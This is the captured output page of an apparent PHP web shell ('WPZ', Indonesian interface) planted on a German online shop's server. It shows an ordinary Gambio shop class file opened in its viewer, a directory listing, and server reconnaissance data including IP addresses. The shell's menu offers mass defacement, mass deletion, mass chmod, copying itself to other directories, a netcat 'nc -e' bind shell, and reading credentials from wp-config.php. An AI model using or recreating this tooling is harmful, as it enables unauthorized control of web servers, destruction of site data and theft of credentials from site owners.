WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / gm / classes / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes/GMGPrintContentManager.php (8.79 KB)
<?php
/* --------------------------------------------------------------
   GMGPrintContentManager.php 2009-12-10 mb
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2009 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/
?><?php

class GMGPrintContentManager
{
	function GMGPrintContentManager()
	{
		//
	}


	function get_content($p_product, $p_source, $p_format = false)
	{
		$t_content = array();

		switch($p_source)
		{
			case 'cart':

				if(isset($_SESSION['coo_gprint_cart']->v_elements[$p_product]))
				{
					foreach($_SESSION['coo_gprint_cart']->v_elements[$p_product] AS $p_elements_id => $p_value)
					{
						$c_elements_id = (int)$p_elements_id;
						$t_content_name = '';
						$c_languages_id = (int)$_SESSION['languages_id'];
						$c_value = mysql_real_escape_string(stripslashes($p_value));

						$t_get_name = xtc_db_query("SELECT
														v.name
													FROM
														" . TABLE_GM_GPRINT_ELEMENTS . " e,
														" . TABLE_GM_GPRINT_ELEMENTS_GROUPS . " g,
														" . TABLE_GM_GPRINT_ELEMENTS_VALUES. " v
													WHERE
														(e.gm_gprint_elements_id = '" . $c_elements_id . "'
														AND e.gm_gprint_elements_groups_id = v.gm_gprint_elements_groups_id
														AND e.gm_gprint_elements_groups_id = g.gm_gprint_elements_groups_id
														AND g.group_type != 'dropdown'
														AND languages_id = '" . $c_languages_id . "')
														OR
														(e.gm_gprint_elements_id = '" . $c_elements_id . "'
														AND e.gm_gprint_elements_groups_id = g.gm_gprint_elements_groups_id
														AND g.group_type = 'dropdown'
														AND e.gm_gprint_elements_groups_id = v.gm_gprint_elements_groups_id
														AND languages_id = '" . $c_languages_id . "'
														AND elements_value = '" . $c_value . "')
													GROUP BY e.gm_gprint_elements_id");
						if(xtc_db_num_rows($t_get_name) == 1)
						{
							$t_name = xtc_db_fetch_array($t_get_name);
							$t_content_name = $t_name['name'];

							$coo_configuration = new GMGPrintConfiguration($_SESSION['languages_id']);

							$t_character_length = (int)$coo_configuration->get_configuration('CHARACTER_LENGTH');

							if(strlen($p_value) > $t_character_length && $t_character_length > 0)
							{
								$t_value = substr($p_value, 0, $t_character_length) . '...';
							}
							else
							{
								$t_value = $p_value;
							}

							if(isset($_SESSION['coo_gprint_cart']->v_files[$p_product][$p_elements_id]))
							{
								$t_uploads_id = (int)$_SESSION['coo_gprint_cart']->v_files[$p_product][$p_elements_id];

								$t_get_key = xtc_db_query("SELECT download_key
															FROM " . TABLE_GM_GPRINT_UPLOADS . "
															WHERE gm_gprint_uploads_id = '" . $t_uploads_id . "'");
								if(xtc_db_num_rows($t_get_key) == 1)
								{
									$t_key = xtc_db_fetch_array($t_get_key);
									$t_value = '<a href="' . HTTP_SERVER . DIR_WS_CATALOG . 'gm_gprint_download.php?key=' . $t_key['download_key'] . '"><u>' . $t_value . '</u></a>';
								}
							}

							$t_content[] = array('NAME' => $t_content_name, 'VALUE' => $t_value);
						}
					}
				}

				break;
			case 'wishlist':

				if(isset($_SESSION['coo_gprint_wishlist']->v_elements[$p_product]))
				{
					foreach($_SESSION['coo_gprint_wishlist']->v_elements[$p_product] AS $p_elements_id => $p_value)
					{
						$c_elements_id = (int)$p_elements_id;
						$t_content_name = '';
						$c_languages_id = (int)$_SESSION['languages_id'];
						$c_value = mysql_real_escape_string(stripslashes($p_value));

						$t_get_name = xtc_db_query("SELECT
														v.name
													FROM
														" . TABLE_GM_GPRINT_ELEMENTS . " e,
														" . TABLE_GM_GPRINT_ELEMENTS_GROUPS . " g,
														" . TABLE_GM_GPRINT_ELEMENTS_VALUES. " v
													WHERE
														(e.gm_gprint_elements_id = '" . $c_elements_id . "'
														AND e.gm_gprint_elements_groups_id = v.gm_gprint_elements_groups_id
														AND e.gm_gprint_elements_groups_id = g.gm_gprint_elements_groups_id
														AND g.group_type != 'dropdown'
														AND languages_id = '" . $c_languages_id . "')
														OR
														(e.gm_gprint_elements_id = '" . $c_elements_id . "'
														AND e.gm_gprint_elements_groups_id = g.gm_gprint_elements_groups_id
														AND g.group_type = 'dropdown'
														AND e.gm_gprint_elements_groups_id = v.gm_gprint_elements_groups_id
														AND languages_id = '" . $c_languages_id . "'
														AND elements_value = '" . $c_value . "')
													GROUP BY e.gm_gprint_elements_id");
						if(xtc_db_num_rows($t_get_name) == 1)
						{
							$t_name = xtc_db_fetch_array($t_get_name);
							$t_content_name = $t_name['name'];

							$coo_configuration = new GMGPrintConfiguration($_SESSION['languages_id']);

							$t_character_length = (int)$coo_configuration->get_configuration('CHARACTER_LENGTH');

							if(strlen($p_value) > $t_character_length && $t_character_length > 0)
							{
								$t_value = substr($p_value, 0, $t_character_length) . '...';
							}
							else
							{
								$t_value = $p_value;
							}

							if(isset($_SESSION['coo_gprint_wishlist']->v_files[$p_product][$p_elements_id]))
							{
								$t_uploads_id = (int)$_SESSION['coo_gprint_wishlist']->v_files[$p_product][$p_elements_id];

								$t_get_key = xtc_db_query("SELECT download_key
															FROM " . TABLE_GM_GPRINT_UPLOADS . "
															WHERE gm_gprint_uploads_id = '" . $t_uploads_id . "'");
								if(xtc_db_num_rows($t_get_key) == 1)
								{
									$t_key = xtc_db_fetch_array($t_get_key);
									$t_value = '<a href="' . HTTP_SERVER . DIR_WS_CATALOG . 'gm_gprint_download.php?key=' . $t_key['download_key'] . '"><u>' . $t_value . '</u></a>';
								}
							}

							$t_content[] = array('NAME' => $t_content_name, 'VALUE' => $t_value);
						}
					}
				}

				break;
		}

		if($p_format)
		{
			$t_content_html = '';

			for($i = 0; $i < count($t_content); $i++)
			{
				$t_content_html	.= '<strong>' . $t_content[$i]['NAME'] . '</strong>: ' . $t_content[$i]['VALUE'] . '<br />';
			}

			$t_content = $t_content_html;
		}

		return $t_content;
	}


	function get_orders_products_content($p_order_products_id, $p_shorten = false)
	{
		$c_order_products_id = (int)$p_order_products_id;
		$t_content = array();

		$t_get_elements_data = xtc_db_query("SELECT
													e.name,
													e.elements_value,
													e.gm_gprint_uploads_id,
													u.download_key
												FROM
													" . TABLE_GM_GPRINT_ORDERS_SURFACES_GROUPS . " g,
													" . TABLE_GM_GPRINT_ORDERS_SURFACES . " s,
													" . TABLE_GM_GPRINT_ORDERS_ELEMENTS . " e
												LEFT JOIN " . TABLE_GM_GPRINT_UPLOADS . " AS u ON (e.gm_gprint_uploads_id = u.gm_gprint_uploads_id)
												WHERE
													g.orders_products_id = '" . $c_order_products_id . "'
													AND g.gm_gprint_orders_surfaces_groups_id
													AND g.gm_gprint_orders_surfaces_groups_id = s.gm_gprint_orders_surfaces_groups_id
													AND s.gm_gprint_orders_surfaces_id = e.gm_gprint_orders_surfaces_id
													AND e.group_type IN ('text_input', 'textarea', 'file', 'dropdown')");

		while($t_elements_data = xtc_db_fetch_array($t_get_elements_data))
		{
			$t_value = $t_elements_data['elements_value'];

			if($p_shorten)
			{
				$coo_configuration = new GMGPrintConfiguration($_SESSION['languages_id']);

				$t_character_length = (int)$coo_configuration->get_configuration('CHARACTER_LENGTH');

				if(strlen($t_value) > $t_character_length && $t_character_length > 0)
				{
					$t_value = substr($t_value, 0, $t_character_length) . '...';
				}
			}

			$t_content[] = array('NAME' => $t_elements_data['name'],
									'VALUE' => $t_value,
									'UPLOADS_ID' => $t_elements_data['gm_gprint_uploads_id'],
									'DOWNLOAD_KEY' => $t_elements_data['download_key']);
		}

		return $t_content;
	}


	function get_content_by_orders_id($p_orders_id, $p_shorten = false)
	{
		$t_content = array();
		$c_orders_id = (int)$p_orders_id;

		$t_get_orders_products_ids = xtc_db_query("SELECT orders_products_id
													FROM " . TABLE_ORDERS_PRODUCTS . "
													WHERE orders_id = '" . $c_orders_id . "'");

		while($_orders_data = xtc_db_fetch_array($t_get_orders_products_ids))
		{
			$t_content_array = $this->get_orders_products_content($_orders_data['orders_products_id'], $p_shorten);
			if(!empty($t_content_array))
			{
				$t_content[$_orders_data['orders_products_id']] = $t_content_array;
			}
		}

		return $t_content;
	}
}
?>
namawaktuukuranownerpermaksi
..
csstidy/ 2013-11-12 21:03125.89 KB 76129f60960:kundendxwrx-rx-r
lib/ 2013-11-12 21:03601.96 KB 76129f60960:kundendxwrx-rx-r
ErrorHandler.php 2013-11-12 21:0310.34 KB 76129f60960:kunden-xw-x-----
edt
FileLog.php 2013-11-12 21:022.93 KB 76129f60960:kunden-xw-x-----
edt
GMAltText.php 2013-11-12 21:032.94 KB 76129f60960:kunden-xw-x-----
edt
GMAttributesCalculator.php 2013-11-12 21:034.65 KB 76129f60960:kunden-xw-x-----
edt
GMCSSMonitor.php 2013-11-12 21:0313.19 KB 76129f60960:kunden-xw-x-----
edt
GMCSSOptimizer.php 2013-11-12 21:0332.87 KB 76129f60960:kunden-xw-x-----
edt
GMCat.php 2013-11-12 21:039.08 KB 76129f60960:kunden-xw-x-----
edt
GMCounter.php 2013-11-12 21:0317.05 KB 76129f60960:kunden-xw-x-----
edt
GMEbay.php 2013-11-12 21:029.16 KB 76129f60960:kunden-xw-x-----
edt
GMGMotion.php 2013-11-12 21:0224.31 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintCartManager.php 2013-11-12 21:0314.66 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintConfiguration.php 2013-11-12 21:032.17 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintContentManager.php 2013-11-12 21:028.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintElements.php 2013-11-12 21:0315.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintFileManager.php 2013-11-12 21:026.06 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderElements.php 2013-11-12 21:037.46 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderManager.php 2013-11-12 21:036.27 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfaces.php 2013-11-12 21:036.41 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfacesManager.php 2013-11-12 21:034.86 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintProductManager.php 2013-11-12 21:024.55 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfaces.php 2013-11-12 21:039.99 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesGroupsManager.php 2013-11-12 21:031.96 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesManager.php 2013-11-12 21:039.62 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintWishlistManager.php 2013-11-12 21:0314.81 KB 76129f60960:kunden-xw-x-----
edt
GMJSON.php 2013-11-12 21:032.44 KB 76129f60960:kunden-xw-x-----
edt
GMJanolaw.php 2013-11-12 21:033.76 KB 76129f60960:kunden-xw-x-----
edt
GMLangFileMaster.php 2013-11-12 21:03965 B 76129f60960:kunden-xw-x-----
edt
GMLightboxControl.php 2013-11-12 21:03691 B 76129f60960:kunden-xw-x-----
edt
GMLogoManager.php 2013-11-12 21:036.78 KB 76129f60960:kunden-xw-x-----
edt
GMMeta.php 2013-11-12 21:028.29 KB 76129f60960:kunden-xw-x-----
edt
GMProduct.php 2013-11-12 21:032.37 KB 76129f60960:kunden-xw-x-----
edt
GMSEOBoost.php 2013-11-12 21:0325.63 KB 76129f60960:kunden-xw-x-----
edt
GMSitemap.php 2013-11-12 21:035.32 KB 76129f60960:kunden-xw-x-----
edt
GMStatusbar.php 2013-11-12 21:022.46 KB 76129f60960:kunden-xw-x-----
edt
GMTSWidget.php 2013-11-12 21:034.93 KB 76129f60960:kunden-xw-x-----
edt
GMTabTokenizer.php 2013-11-12 21:032.81 KB 76129f60960:kunden-xw-x-----
edt
GMTracker.php 2013-11-12 21:033.49 KB 76129f60960:kunden-xw-x-----
edt
JSON.php 2013-11-12 21:0339.98 KB 76129f60960:kunden-xw-x-----
edt
application_top.php 2013-11-12 21:0334.02 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK